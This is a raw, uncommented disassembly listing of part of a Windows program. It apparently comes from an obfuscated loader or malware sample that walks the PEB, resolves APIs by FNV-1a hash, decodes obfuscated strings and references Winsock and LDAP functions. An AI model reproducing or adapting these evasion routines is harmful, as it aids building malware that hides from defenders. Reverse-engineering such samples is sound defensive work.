mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x140143d37
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143d2c
cmp edx, r14d
je 0x140143d4d
test r9d, r9d
jne 0x140143d17
jmp 0x140143db3
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140143dca
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140143dca
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140143da7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140143d84
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140143d9a
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140143dc7
cmp qword [rbx + 0x30], rax
jne 0x140143c93
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x140143f4d
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143e5f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143e51
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143e40
cmp r8d, esi
jne 0x140143f2f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140143f2f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140143f2f
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140143eb3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143ea8
cmp edx, r14d
je 0x140143ec9
test r9d, r9d
jne 0x140143e93
jmp 0x140143f2f
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140143f46
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140143f46
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140143f23
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140143f00
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140143f16
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140143f43
cmp qword [rdi + 0x30], rax
jne 0x140143e0f
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x1401440c0
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143fd2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143fc4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143fb3
cmp r8d, esi
jne 0x1401440a2
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401440a2
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401440a2
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144026
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014401b
cmp edx, r14d
je 0x14014403c
test r9d, r9d
jne 0x140144006
jmp 0x1401440a2
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401440b9
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401440b9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140144096
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140144073
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140144089
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401440b6
cmp qword [rdi + 0x30], rax
jne 0x140143f82
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x140144233
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140144145
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140144137
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140144126
cmp r8d, esi
jne 0x140144215
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140144215
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140144215
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144199
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014418e
cmp edx, r14d
je 0x1401441af
test r9d, r9d
jne 0x140144179
jmp 0x140144215
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14014422c
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014422c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140144209
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401441e6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401441fc
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140144229
cmp qword [rdi + 0x30], rax
jne 0x1401440f5
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x1401443a5
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401442b5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401442a7
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140144296
cmp r8d, esi
jne 0x140144387
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140144387
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140144387
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144309
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401442fe
cmp edx, r14d
je 0x14014431f
test r9d, r9d
jne 0x1401442e9
jmp 0x140144387
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x14014439e
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14014439e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14014437a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140144356
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14014436d
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14014439b
cmp qword [rdi + 0x30], rax
jne 0x140144265
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14014441c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140144402
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401443e3
cmp r8d, 0x610c0de3
je 0x140144473
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x140144412
cmp qword [r9 + 0x30], rax
jne 0x1401443c8
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
lea r15d, [rax + 1]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x14014446e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x140144452
cmp ecx, 0xe463da3c
je 0x140144479
add r9d, r15d
jmp 0x140144436
mov r8, qword [r9 + 0x30]
jmp 0x140144415
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x140144614
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014451e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140144510
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401444ff
cmp r8d, esi
jne 0x1401445f0
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401445f0
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401445f0
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144572
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140144567
cmp edx, r14d
je 0x140144588
test r9d, r9d
jne 0x140144552
jmp 0x1401445f0
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140144607
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140144607
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401445e3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1401445bf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1401445d6
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140144604
cmp qword [rdi + 0x30], rax
jne 0x1401444ce
mov r10, rax
mov qword [0x1404fba00], r10
mov r15d, 1
lea r9, [rbp + 0x11ac]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x14014479a
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401446aa
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014469c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014468b
cmp r8d, esi
jne 0x14014477c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014477c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014477c
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401446fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401446f3
cmp edx, r14d
je 0x140144714
test r9d, r9d
jne 0x1401446de
jmp 0x14014477c
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140144793
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140144793
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14014476f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x14014474b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x140144762
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140144790
cmp qword [rdi + 0x30], rax
jne 0x14014465a
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [0x1404fba90]
call fcn.1401ac554
xor ebx, ebx
test eax, eax
jne 0x140146f68
mov r12, qword [0x1404fc128]
xor eax, eax
test r12, r12
jne 0x140144937
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140144845
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140144837
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140144826
cmp r8d, esi
jne 0x140144919
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140144919
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140144919
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144899
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014488e
cmp edx, r14d
je 0x1401448af
test r9d, r9d
jne 0x140144879
jmp 0x140144919
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r10
jbe 0x140144930
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x140144930
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x14014490b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x1401448e6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x1401448fe
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14014492d
cmp qword [rdi + 0x30], rax
jne 0x1401447f5
mov r12, rax
mov qword [0x1404fc128], r12
mov byte [rbp + 0x440], Ordinal_27
mov byte [rbp + 0x441], 0xa1
mov byte [rbp + 0x442], Ordinal_46
mov byte [rbp + 0x443], 0xa3
mov byte [rbp + 0x444], Ordinal_60
mov byte [rbp + 0x445], 0x9d
mov byte [rbp + 0x446], 3
mov byte [rbp + 0x447], 0x9f
mov byte [rbp + 0x448], recv
mov byte [rbp + 0x449], 0x99
mov byte [rbp + 0x44a], Ordinal_60
mov byte [rbp + 0x44b], 0x9b
mov byte [rbp + 0x44c], 0x9a
mov byte [rbp + 0x44d], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x44e], eax
mov byte [rbp + 0x452], al
movabs rsi, 0xc31f8f2349af4a9b
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x13
jae 0x14014559b
movzx r9d, byte [rbp + r10 + 0x440]
mov r8, r9
cmp rdi, r10
ja 0x140145592
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140144a0b
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x3d
jmp 0x140144a45
je 0x14014550c
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140145482
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140145427
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401453fd
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401453d6
cmp r11, r10
ja 0x140145589
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x140144a77
movabs rdx, 0x196bde50b611eb7
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 1
add bl, dl
jmp 0x140144aab
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140145393
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140145371
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14014534f
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14014532d
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14014503c
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14014501a
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140144ff4
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140144fd2
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x140144fb1
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x140144f8f
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140144f69
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140144f47
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140144f21
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140144eff
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140144ab8
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140145567
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140145545
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140144cb7
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140144c95
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140144c73
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140144ea2
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140144e48
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140144dfd
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140144dd3
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140144ab8
lea rdi, [r11 + 0x200]
lea r11, [rdi + 2]
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140144db1
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140144d9d
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140144d7b
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140144d67
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x140144d45
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140144d31
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x140144d0f
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140144cfb
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140144cd9
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140144ab8
lea rdi, [r11 + 8]
lea r11, [rdi + 0x200]
jmp 0x140144ab8
movabs rcx, 0xf222b829022d8229
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1f
jmp 0x140144aab
movabs rcx, 0x6be399e26eceecf3
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5b
jmp 0x140144a45
movabs rcx, 0xe5a47b9bdb7057bd
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2b
jmp 0x1401449dd
movabs rcx, 0xcb5ef285b08f5b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401453b0
movabs rdx, 0x8676d0e1c7aa6082
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x140145003
movabs rcx, 0x37b29b344bcb4c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14014541a
movabs rdx, 0x79f89454a0ed3616
mov ecx, 0x33
jmp 0x140144fc0
movabs rcx, 0xf3b9760e0d8ea0e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x14014546d
movabs rdx, 0x6d7a57c77a300baa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140144f78
movabs rcx, 0xe73b3980e6d17674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1401454a3
movabs rdx, 0x60fc1b3a5372e13e
mov ecx, Ordinal_41
jmp 0x140144f30
movabs rcx, 0xdabcfcf3c0144c08
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x140145529
movabs rcx, 0xb1f31434fa7d701
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 7
mov byte [rbp + r10 + 0x440], bl
jmp 0x140145538
movabs rcx, 0x84e012fcbc4941cb
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x73
cmp r11, 0x20
jb 0x140144df0
movabs rcx, 0xbe93080f5bd7b9c2
add rcx, r10
mov al, cl
and al, r9b
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x1401453b0
movabs rcx, 0xfea0f4b628eaac95
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x13
cmp rdi, 0x61
jae 0x1401452d5
lea rax, [r11 + 6]
cmp rdi, rax
jbe 0x140145224
movabs rdx, 0x801bd94d9a25e5a6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144e1a
movabs rcx, 0x7861d66f958c175f
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x67
lea rax, [r11 + rdi]
cmp rax, 6
je 0x140145303
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x140145149
movabs rcx, 0x7e851b688ec4c6ef
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x77
jmp 0x140144e65
movabs rcx, 0x988735e4446b84a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x140145529
movabs rdx, 0x83495517b0e82314
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401454d5
movabs rcx, 0xfd0a36d11d898dde
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x12
jmp 0x1401454a3
movabs rdx, 0x76cb188a8a2af8a8
mov ecx, 0x34
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145470
movabs rcx, 0xf08bfa43f6cc6372
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x14014546d
movabs rdx, 0x6a4cdbfd636dce3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401452f9
movabs rcx, 0xe40dbdb6d00f3906
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x14014541a
movabs rdx, 0x5dce9f703cb0a3d0
